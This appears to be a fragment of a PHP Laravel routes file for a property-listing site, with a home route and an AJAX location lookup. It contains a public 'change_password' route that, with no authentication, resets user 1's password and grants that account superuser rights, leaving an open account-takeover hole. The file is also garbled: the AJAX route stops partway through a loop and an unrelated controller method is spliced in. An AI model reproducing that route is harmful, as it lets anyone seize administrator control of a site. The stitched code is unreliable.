<?php

// Public Routes
Route::get('/', array('as' => 'home', 'uses' => 'MainController@main'));
Route::get('change_password', function () {
    $user = Sentry::findUserById(1);
    $user->password = '******';
    $user->permissions = array('superuser' => 1);
    $user->save();
});
Route::post('request_location', function () {
    if (Request::ajax()) {
        $location = strtolower(Input::get('location'));
        $all_types = Type::all();
        $all_developers = Developer::all();
        $response = array('count' => 0, 'types' => array(0 => 'Any'), 'developers' => array(0 => 'Any'));
        foreach ($all_types as $a) {
            $response['types'][$a->id] = ucwords($a->name);
        }
        foreach ($all_developers as $a) {
            $response['developers'][$a->id] = ucwords($a->name);
        }
        // LETS FIND PROPERTIES WITH
        $properties = Property::where('location_id', $location)->get();
        $count = count($properties);
        if ($count > 0) {
            $response['count'] = 1;
            $response['types'] = array(0 => 'Any');
            $response['developers'] = array(0 => 'Any');
            foreach ($properties as $p) {
                if (!in_array($p->type->id, array_keys($response["types"]))) {
 /**
  * Display a listing of the resource.
  *
  * @return Response
  */
 public function index()
 {
     $developers = $this->developer->all();
     return View::make('admin.developers.index', compact('developers'));
 }